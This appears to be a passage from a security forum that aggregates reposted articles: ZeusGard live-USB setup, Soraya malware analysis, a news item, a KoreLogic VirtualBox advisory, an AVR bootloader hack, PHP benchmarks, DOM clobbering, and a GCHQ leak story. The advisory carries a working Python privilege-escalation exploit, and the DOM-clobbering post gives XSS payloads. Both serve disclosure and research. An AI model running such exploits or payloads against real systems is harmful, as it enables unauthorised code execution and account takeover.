said the next version should include a streamlined wireless setup, and will offer users more options inside the browser session (in the version I tested, for example, ZeusGard automatically shuts down after 30 minutes of use). At $24.95 for the basic ZeusGard and $14.95 for the wireless adapter, this device is likely to be more appealing to small businesses than the average Internet user. But if you need or want wireless capability in a USB-based “Live CD” solution, ZeusGard is one of few easy-to-use options currently available. To get ZeusGard working on a Mac, hold the “Option” key while booting up, and select the volume labeled “Windows” (yes, I realize this is counter-intuitive, since the whole idea behind booting into a live CD is that you’re not in Windows). Getting ZeusGard (or any other live distribution, for that matter) working on a Windows PC may be a bit more involved. Rather than reinvent the wheel, I’ve excerpted and modified the following instructions from my Banking on a Live CD post. We next need to make sure that the computer knows to look to the USB drive first for a bootable operating system before it checks the hard drive, otherwise ZeusGard will never be recognized by the computer (this only needs to be done once). When you start up your PC, take note of the text that flashes on the screen, and look for something that says “Press [some key] to enter setup” or “Press [some key] to enter startup.” Usually, the key you want will be F2 or the Delete or Escape (Esc) key. A Windows BIOS screen. If you’ve done it right, the “removable dev” option should be listed as the 1st Boot Device. When you figure out what key you need to press, press it repeatedly until the system BIOS screen is displayed. Your mouse probably will not work here, so you’ll need to rely on your keyboard. Look at the menu options at the top of the screen, and you should notice a menu named “Boot”. Hit the right arrow key until you’ve reached that screen listing your bootable devices, and then hit the Enter key What you want to do here is move the Removable Devices option to the top of the list (it may be listed as merely “Removable Dev”). Do this by selecting the down-arrow key until that option is highlighted, and the press the Shift and the “+” key on your keyboard until the Removable Devices option is at the top. Then hit the F10 key, and confirm “yes” when asked if you want to save changes and exit, and the computer should reboot. Unless you know what you’re doing here, it’s important not to make any other changes in the BIOS settings. If you accidentally do make a change that you want to undo, hit F10, and select the option “Exit without saving changes.” The computer will reboot, and you can try this step again. If you’ve done this step correctly, the computer should detect the USB drive as a bootable operating system, and boot into ZeusGard. Sursa: Wireless Live CD Alternative: ZeusGard — Krebs on Security

Soraya: The Worst of Both Worlds A FortiGuard Labs Technical Analysis Introduction Soraya is the first of its kind, a hybrid piece of malware combining popular form grabbing techniques seen in Zeus and memory parsing techniques seen in Dexter and JackPOS. In this report, we join Junior AV Analyst Hong Kei Chan in describing Soraya’s installation then analyzing the two defining elements of Soraya – form grabbing and memory parsing. We will also review the command- and-control (C&C) communication protocol in detail by exploring the features found in Soraya’s control panel. Installation Many of the samples received by FortiGuard Labs have been packed with custom packing algorithms, where a 24KB UPX-compressed image is mapped back to the original base address and then executed. Soraya does not import any functions, so it utilizes a common technique where the base address of kernel32.dll is retrieved from the Process Environment Block (PEB) structure before resolving the address of the target API using values that have been hashed from the API names. The addresses of the following APIs are retrieved using this custom algorithm: Fortinet | High Performance Network Security, Enterprise and Data-Center Firewall Solution Brief : Two-Factor Authentication LoadLibrary GetProcAddress VirtualProtect ZwCreateSection ZwMapViewofSection RtlMoveMemory CreateRemoteThread GetModuleHandleW CreateToolHelp32Snapshot Process32First Process32Next OpenProcess isWow64Process ExitProcess After getting the handle of its target processes, it uses ZwCreateSection, ZwMapViewofSection, RtlMoveMemory, and CreateRemoteThread to inject itself into a number of system processes including explorer.exe to begin its malicious functions. Download: http://www.fortinet.com/sites/default/files/whitepapers/soraya_WP.pdf

Google has a job called ‘Security Princess’ By Heba Hasan, Tech Times | July 14, 3:17 PM (Photo : Parisa Tabriz | Twitter) "Security Princess" is what it says on Parisa Tabriz's business card. Tabriz, who heads a division of hackers responsible for handling security threats in Google Chrome, wanted a title that was a bit more interesting than "Information Security Engineer" or "hired hacker." And Tabriz's job is more than a bit interesting, to say the least. She and her team of hackers are paid to think like criminals and fix security threats quickly and silently. "There's a lot of similarities with the know-thy-enemy part of war," she says in a recent interview with Elle. At 31, Tabriz is young and one of the few women in hacking circles. She never viewed her gender as an obstacle, though, stating that she might be "may be a little more pushy than the [female] stereotype." But Tabriz doesn't shy away from addressing the tech sector's gender disparity and where the field should be headed, telling Elle, "If you have ambitions to create technology for the whole world, you need to represent the whole world, and the whole world is not just white men." Though "security princess" is an unusual title, Tabriz has some good company. The tech world is famously filled with nontraditional and quirky job titles. David Shing is the "Digital Prophet" at AOL where, according to his bio, he "spends most of his time watching the future take shape across the vast online landscape." Sheryl Connelly holds the title of "in-house Futurist" for Ford Motor Co., not just the more stuffy manager of global consumer trends and futuring. And Microsoft's Andrew Fryer settled on the title of "Technical Evangelist." Sursa: Google has a job called ‘Security Princess’ : T-Lounge : Tech Times

Oracle VirtualBox Guest Additions Arbitrary Write Privilege Escalation Authored by Matthew BerginA vulnerability within VBoxGuest module allows an attacker to inject memory they control into an arbitrary location they define. This can be used by an attacker to overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling NtQueryIntervalProfile. Oracle VirtualBox Guest Additions versions 4.3.8 through 4.3.10 are affected. Title: Oracle VirtualBox Guest Additions Arbitrary Write Privilege Escalation Advisory ID: KL-001-2014-001 Publication Date: 07.15.2014 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt 1. Vulnerability Details Affected Vendor: Oracle Affected Product: VirtualBox Guest Additions Affected Versions: 4.3.8 - 4.3.10 Platform: Microsoft XP SP3 CWE Classification: CWE-123: Write-what-where Condition Impact: Arbitrary code execution Attack vector: IOCTL CVE ID: CVE-2014-2477 2. Vulnerability Description A vulnerability within VBoxGuest module allows an attacker to inject memory they control into an arbitrary location they define. This can be used by an attacker to overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling NtQueryIntervalProfile. 3. Technical Description A userland process can create a handle into the VBoxGuest device and subsequently make DeviceIoControlFile() calls into that device. During the IRP handler routine for 0x0022a040 the user provided OutputBuffer address is not validated. This allows an attacker to specify an arbitrary address and write (or overwrite) the memory residing at the specified address. This is classicaly known as a write-what-where vulnerability and has well known exploitation methods associated with it. A stack trace from our fuzzing can be seen below. In our fuzzing testcase, the specified OutputBuffer in the DeviceIoControlFile() call is 0xffff0000. STACK_TEXT: f824a9d4 805241e0 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b f824aa20 804e172b 00000001 ffff0000 00000000 nt!MmAccessFault+0x6f5 f824aa20 804eca3b 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc f824aaf0 804ecaba ffa74248 f824ab3c f824ab30 nt!IopCompleteRequest+0x92 f824ab40 806f5c0e 00000000 00000000 f824ab58 nt!KiDeliverApc+0xb3 f824ab40 806f00b3 00000000 00000000 f824ab58 hal!HalpApcInterrupt2ndEntry+0x31 f824abcc 804e546c ffa74248 ffa74208 00000000 hal!KfLowerIrql+0x43 f824abec 804ecad4 ffa74248 811772d8 00000000 nt!KeInsertQueueApc+0x4b f824ac20 faa36123 811772d8 81297558 00000000 nt!IopfCompleteRequest+0x1d8 f824ac34 804e3807 0000008c 0000008c 806f0070 VBoxGuest+0x1123 f824ac44 80568191 ffa7429c 811772d8 ffa74208 nt!IopfCallDriver+0x31 f824ac58 805770ca 812971a8 ffa74208 811772d8 nt!IopSynchronousServiceTail+0x70 f824ad00 805795e3 00000058 00000000 00000000 nt!IopXxxControlFile+0x611 f824ad34 804de7ec 00000058 00000000 00000000 nt!NtDeviceIoControlFile+0x2a f824ad34 7c90e526 00000058 00000000 00000000 nt!KiFastCallEntry+0xf8 0021fa54 7c90d28a 1d1adc9a 00000058 00000000 ntdll!KiIntSystemCall+0x6 0021fa58 1d1adc9a 00000058 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc Reviewing the TRAP_FRAME at the time of crash we can see IopCompleteRequest() copying data from InputBuffer into the OutputBuffer. InputBuffer is another parameter provided to the DeviceIoControlFile() function and is therefore controllable by the attacker. The edi register contains the invalid address provided during the fuzz testcase. ErrCode = 00000002 eax=0000008c ebx=ffa74208 ecx=00000023 edx=00000000 esi=811eabf0 edi=ffff0000 eip=804eca3b esp=f824aaac ebp=f824aaf0 iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 nt!IopCompleteRequest+0x92: 0008:804eca3b f3a5 rep movs dword ptr es:[edi],dword ptr [esi] A write-what-where vulnerability can be leveraged to obtained escalated privileges. To do so, an attacker will need to allocate memory in userland that is populated with shellcode designed to find the Token for PID 4 (System) and then overwrite the token for its own process. By leveraging the vulnerability it is then possible to overwrite the pointer at HalDispatchTable+0x4 with a pointer to our shellcode. Calling NtQueryIntervalProfile() will subsequently call HalDispatchTable+0x4, execute our shellcode, and elevate the privilege of the exploit process. 4. Mitigation and Remediation Recommendation The vendor has patched this vulnerability. The patch information is here: http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html 5. Credit This vulnerability was discovered by Matt Bergin of KoreLogic Security, Inc. 6. Disclosure Timeline 04.28.14 - KoreLogic contacts Oracle with vulnerability report and PoC. 04.29.14 - Oracle acknowledges receipt of vulnerability report and PoC. 05.02.14 - Oracle assigns tracking to this vulnerability report and states that it will be patched in the CPU cycle, with credit for the report given to KoreLogic. Oracle also states monthly updates will be provided. 05.22.14 - Oracle provides KoreLogic with status update indicating the vulnerability will be patched in an upcoming CPU and states that they will publicly acknowledge KoreLogic in the associated public bulletin. 06.11.14 - KoreLogic informs Oracle that 30 days have passed since vendor acknowledgement of the initial report. KoreLogic requests CVE number for the vulnerability, if there is one. KoreLogic also requests vendor's public identifier for the vulnerability along with the expected disclosure date. 06.11.14 - Oracle responds with CVE number, expected release date of 07.15.14 and public identifier (CVE number). 06.24.14 - Oracle provides status update. 07.02.14 - 45 business days have elapsed since vendor acknowledged vulnerability. 07.11.14 - Oracle provides expected CPU release time. 07.15.14 - Coordinated public release of vulnerability and vendor patch. 7. Proof of Concept # KL-001-2014-001 : Oracle VirtualBox Guest Additions Arbitrary Write Privilege Escalation # Oracle VirtualBox 4.3.8-4.3.10 # # Matt Bergin (KoreLogic/Smash the Stack) # thanks to bla # from ctypes import * from struct import pack from os import getpid,system from sys import exit EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle VirtualProtect = windll.kernel32.VirtualProtect INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 # thanks to offsec for the concept # I re-wrote the code as to not fully insult them def getBase(name=None): retArray = c_ulong*1024 ImageBase = retArray() callback = c_int(1024) cbNeeded = c_long() EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded)) for base in ImageBase: driverName = c_char_p("\x00"*1024) GetDeviceDriverBaseNameA(base,driverName,48) if (name): if (driverName.value.lower() == name): return base else: return (base,driverName.value) return None handle = CreateFileA("\\\\.\\VBoxGuest",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) print "[+] Handle \\\\.\\VBoxGuest @ %s" % (handle) NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40) buf = "\xcc\xcc\xcc\xcc"*35 WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0))) WriteProcessMemory(-1, 0x1, buf, 140, byref(c_int(0))) #Overwrite Pointer kBase,kVer = getBase() hKernel = LoadLibraryExA(kVer,0,1) HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable") HalDispatchTable -= hKernel HalDispatchTable += kBase HalDispatchTable += 0x4 print "[+] Kernel @ %s, HalDispatchTable @ %s" % (hex(kBase),hex(HalDispatchTable)) DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x22a040,0x1,140,HalDispatchTable-40,0) print "[+] HalDispatchTable+0x4 overwritten" CloseHandle(handle) NtQueryIntervalProfile(c_ulong(2),byref(c_ulong())) #Something bad happened exit(0) The contents of this advisory are copyright(c) 2014 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt Sursa: Oracle VirtualBox Guest Additions Arbitrary Write Privilege Escalation ? Packet Storm

BootJacker: The Amazing AVR Bootloader Hack! There's an old adage that says if you don't know it's impossible you could end up achieving it. BootJacker is that kind of hack: a way for ordinary firmware on an AVR to reprogram its bootloader. It's something Atmel's manual for AVR microcontrollers with Bootloaders says is impossible (Note the italics): 27.3.1 Application Section. The Application section is the section of the Flash that is used for storing the application code. The protection level for the Application section can be selected by the application Boot Lock bits (Boot Lock bits 0), see Table 27-2 on page 284. The Application section can never store any Boot Loader code since the SPM instruction is disabled when executed from the Application section. Here's the background: I'm the designer of FIGnition, the definitive DIY 8-bit computer. It's not cobbled together from hackware from around the web, instead three years of sweat and bare-metal development has gone into this tiny 8-bitter. I've been working on firmware version 1.0.0 for a few months; the culmination of claiming that I'll put audio data transfer on the machine (along with a fast, tiny Floating point library about 60% of the size of the AVR libc one). Firmware 1.0.0 uses the space previously occupied by its 2Kb USB bootloader and so, needs its own migration firmware image to copy the V1.0.0 firmware to external flash. The last stage is to reprogram the bootloader with a tiny 128b bootloader which reads the new image from external flash. Just as I got to the last stage I came across section 27.3.1, which let me know in no uncertain terms that I was wasting my time. I sat around dumbstruck for a while ("How could I have not read that?") before wondering whether[1], crazies of crazy, imagining that a solution to the impossible might actually lead me there. And it turns out it does. The solution is actually conceptually fairly simple. A bootloader, by its very nature is designed to download new firmware to the device. Therefore it will contain at least one spm instruction. Because the spm configuration register must be written no more than 4 cycles before the spm instruction it means there are very few sequences that practically occur: just sts, spm or out, spm sequences. So, all you need to is find the sequence in the bootloader section; set up the right registers and call it. However, it turned out there was a major problem with that too. The V-USB self-programming bootloader's spm instructions aren't a neat little routine, but are inlined into the main code; so calling it would just cause the AVR to crash as it tried to execute the rest of the V-USB bootloader. Nasty, but again there's a solution. By using a timer clocked at the CPU frequency (which is easy on an AVR), you can create a routine in assembler which sets up the registers for the Bootloader's out, spm sequence; calls it and just at the moment when it's executed the first cycle of the spm itself, the timer interrupt goes off and the AVR should jump to your interrupt routine (in Application space). The interrupt routine pops the bootloader address and then returns to the previous code - which is the routine that sets up the out, spm sequence. This should work, because when you apply spm instructions to the bootloader section the CPU is halted until it's complete. Here's the key part of BootJacker: The code uses the Bootloader's spm to first write a page of flash which also contains a usable out, spm sequence and then uses that routine to write the rest (because of course you might end up overwriting the bootloader with your own new bootloader!) BootJacker involves cycle counting, I used a test routine to figure out the actual number of instructions executed after you set the timer for x cycles in the future (it's x-2). In addition I found there was one other oddity: erase and writes always have a 1 cycle latency after the SPM in a bootloader. I fixed this with a nop instruction in my mini bootloader. This algorithm, I think is pretty amazing. It means that most bootloaders can in fact be overwritten using application firmware containing a version of BootJacker! [1] As a Christian, I also have to fess' up that I prayed about it too. Not some kind of desperation thing, but some pretty calm prayer, trusting it'll get sorted out Posted by Snial at 00:14 Sursa: One Week Wonder: BootJacker: The Amazing AVR Bootloader Hack!

PHP NG now nearly TWICE as fast as PHP 5.6 correction: php core developers have urged that it is improper to call this version “5.7? despite the versioning file stating so PHP 5.7 PHP NG is still in alpha development, however it is starting to show breathtaking performance improvements over 5.6 while maintaining virtually complete compatibility. Dmitry Stogov has been hard at work since his first announcement in mid-January 2014 and milestone update in early-May to keep folding in more and more ideas to increase PHP speed (with significant contributions by Xinchen Hui, Nikita Popov and others). Six months later in mid-July, their efforts are really bearing fruit and PHP 5.7 NG is about to become nearly 100% faster than PHP 5.6 when rendering the front page of a stock WordPress 3.6 installation: PHP 5.6, 1000 renderings of WP front page = 26.756 seconds PHP NG, 1000 renderings of WP front page = 14.810 seconds and he is not even done yet, based on all his proposals and notes as you can follow on http://wiki.php.net/phpng The secret to this performance increase is that nearly 60% of cpu instructions have been “retired” by more efficient code: PHP 5.6, 100 renderings = 9,413,106,833 cpu instructions PHP NG, 100 renderings = 3,627,440,773 cpu instructions Because most bundled extensions are now finally working with PHP 5.7 NG, you can easily build it for yourself to play with and benchmark independently. My own tests show the performance increase to be completely genuine and breathtaking. PHP 5.7 NG will be a tremendous advantage for servers around the world. While it is highly unlikely it will be suitable for production use this year, hopefully early 2015 will bring stable betas and maybe even release candidates. Previously the only other option to get performance like this would have been the HipHop Virtual Machine but that is hard to configure and does not offer complete compatibility, while PHP 5.7 should be a “drop in” replacement for most 5.x versions. Sursa: PHP NG now nearly TWICE as fast as PHP 5.6 | _ck_ says...

DOM Clobbering Thursday, 16 May 2013 The DOM is a mess. In an effort to support legacy quick short cuts such as “form.name” etc the browsers have created a Frankenstein monster. This is well known of course but I just wonder how far the rabbit hole goes. I’m gonna share what I discovered over the years. HTML Collections First up is my favourite “HTML Collections”, when html elements are combined into groups they become a collection. You can actually force a collection by giving an element the same name. Such as: <input id=x><input id=x><script>alert(x)</script> On IE “x” alerts “Object HTML Collection”. What’s interesting is there are two ways of doing this, via name and via id, because it’s an array like structure you can reference each element by the order they appear in the collection e.g. collection[0] is the first element. We can use this functionality to “clobber” variables into window to create some interesting stuff. An example of this: <a href="invalid:1" id=x name=y>test</a> <a href="invalid:2" id=x name=y>test</a> <script>alert(x.y[0])</script> What is especially odd is that a collection constructed like this can refer to itself forever, for example: <script> alert(x.y.x.y.x.y[0]); alert(x.x.x.x.x.x.x.x.x.y.x.y.x.y[0]); </script> When the elements become a collection this of course removes the normal properties/methods on the HTML element if it was being referenced by name. <a href=1 name=x>test</a> <a href=1 name=x>test</a> <script> alert(x.removeChild)//undefined alert(x.parentNode)//undefined </script> You can see how that could cause problems Variable assignments cause anchor href modifications This is a very old bug probably a few years old now, it was rediscovered by @gsnedders. On IE a global variable with the same name as an anchor element caused modification of that anchors href. For example <a href="123" id=x>test</a> <script> x='javascript:alert(1)'//only in compat! ;</script> If you have an anchor named “x” and an assignment with the same name then even if it is fully encoded you can still inject XSS by modifying the anchor directly. Framebusters busted Lastly on my trip down memory lane I have another interesting bug that was again found many moons ago. You might be familiar with code similar to this: <script> if(top!=self){ top.location=self.location } </script> It’s checking if the top most window is the same as the current window (usually to prevent a page being framed). If we can clobber a form before the check then we can fool the logic into thinking that self is a form and “self.location” is an attribute on that form like this: <form name=self location="javascript:alert(1)"></form> <script> if(top!=self){ top.location=self.location } </script> Which fires the alert! But there’s more, since an attribute is decoded when it’s accessed we can encode the colon of course but because on IE when the assignment occurs it’s also decoded we can now double encode! Which means this is perfectly valid too: <form name=self location="javascript:alert(1)"></form> <script> if(top!=self){ top.location=self.location } </script> In conclusion the DOM is a mess. Sursa: DOM Clobbering

Advanced XSS Nicolas Golubovic Today's menu Starter: reboiled XSS Course: spicy blacklists & filters Course: sweet content sniffing Course: salty defenses a. httpOnly cookies b. Content Security Policy (CSP) c. XSS Auditor Dessert: tips and tricks a. DOM clobbering Cookies? Download: https://www.owasp.org/images/a/ae/Advanced_XSS.pdf

Softpedia: vBulletin Exploitable Through SQL Injection

Nu e blind, dar l-am facut dimineata la 7 inainte sa plec la munca si nu am avut timp sa il fac altfel. Fac un request pentru un caracter (SUBSTR). Se putea si altfel, dar era un query urat si nu am avut timp sa ma complic.

GCHQ leak lists UK cyber-spies' hacking tools By Leo Kelion Technology desk editor More than 100 codenamed projects are defined in the leaked GCHQ document A document that appears to list a wide variety of GCHQ's cyber-spy tools and techniques has been leaked online. It indicates the agency worked on ways to alter the outcome of online polls, find private Facebook photos, and send spoof emails that appeared to be from Blackberry users, among other things. The document is alleged to have been among those leaked by former US intelligence analyst Edward Snowden. One expert said the release, published on the site Intercept, was "damaging". Alan Woodward, a security consultant who has done work for GCHQ, the UK's intelligence agency, said: "If you read the mission statement of any signals intelligence organisation, all the listed techniques are what you'd expect them to be doing. "But it's very unhelpful for the details to leak out because as soon as you reveal to people how something is being done they can potentially take steps to avoid their information being collected. The leaked document lists the techniques in the style of the online encyclopaedia Wikipedia "We've already seen it happen when various forms of interception were revealed previously with the Snowden leaks." Glenn Greenwald, the journalist who published the latest document, noted in his article that an earlier inquiry by the European Parliament's Civil Liberties Committee had called into question the "legality, necessity and proportionality" of the data-collection activities of GCHQ and the US National Security Agency (NSA), for which Mr Snowden worked. He also highlighted that the article's publication coincided with the start of a legal challenge brought by Privacy International, Liberty and other civil rights groups that claimed the UK's security agencies had acted unlawfully. However, GCHQ denies it is at fault. "It is a longstanding policy that we do not comment on intelligence matters," it said in a statement. "Furthermore, all of GCHQ's work is carried out in accordance with a strict legal and policy framework which ensures that our activities are authorised, necessary and proportionate, and that there is rigorous oversight, including from the secretary of state, the interception and intelligence services commissioners and the Parliamentary Intelligence and Security Committee." Swamp donkey More than 100 projects are included in the document, which appears to be from a Wikipedia-style listing for GCHQ's Joint Threat Research Intelligence Group. The leak indicates that GCHQ created a tool to help agents make use of Second Life Many involve eccentric codenames. For example, the ability to send an audio message to a large number of telephones and/or "repeatedly bomb" a target number with the same message is called Concrete Donkey - the name of a weapon in the video game Worms. Other examples include: Angry Pirate - a tool to permanently disable a target's account on their computer Bomb Bay - the capacity to increase website hits/rankings Cannonball - the ability to send repeated text messages to a single target Gestator - a tool to make a message, normally a video, more visible on websites including YouTube Glitterball - software to help agents carry out operations in Second Life and other online games Birdstrike - Twitter monitoring and profile collection Fatyak - public data collection from the business-focused social network LinkedIn Spring Bishop - a tool to find private pictures of targets on Facebook Changeling - the ability to spoof any email address and send messages under that identity Bearscrape - a tool to extract a computer's wi-fi connection history Miniature Hero - the ability to source real-time call records, instant messages and contact lists from Skype Swamp donkey - a way to send a modified Excel spreadsheet document that silently extracts and runs malware on the target's computer Underpass - a tool to change the result of online polls Some of the schemes are listed as being operational while others are said to be still at the design, development or pilot stages. Analysis: Gordon Corera, security correspondent The latest revelations suggest that GCHQ is developing a wide range of capabilities which go beyond the simple gathering of information and into the realms of covert action. This is another traditional part of the work of spy agencies but one they prefer to keep clandestine and therefore "deniable". According to the documents, this appears to range from disrupting an individual's online activity to broader "information operations" to influence opinion in other countries. What is not clear from the document is how far these capabilities have actually been deployed and put into action and against whom. Almost every state is secretly developing capabilities to disrupt their opponents in cyberspace but they do not like talking about them or having them revealed in public. 'Chinese menu' It is not clear exactly how out-of-date the list is. The document states it was last modified in July 2012, but includes a note saying: "We don't update this page anymore, it became somewhat of a Chinese menu for effects operations." Staff are instead directed to an alternative page, which has not been leaked. "The accusation that GCHQ has been manipulating polls and influencing and distorting political discourse is incredibly serious," said Emma Carr, acting director of the Big Brother Watch campaign group. "The UK is always the first to point the finger at countries if there is a whiff of corruption or interference within a democratic process, so if senior ministers are aware that this is taking place then this absolutely stinks of hypocrisy. "It is essential that the government directly addresses these accusations, otherwise they are at risk of losing the international moral high ground." Sursa: BBC News - GCHQ leak lists UK cyber-spies' hacking tools

Thanks! Backup: https://rstforums.com/fisiere/Algorithm.mp4 Click dreapta, Save Link As.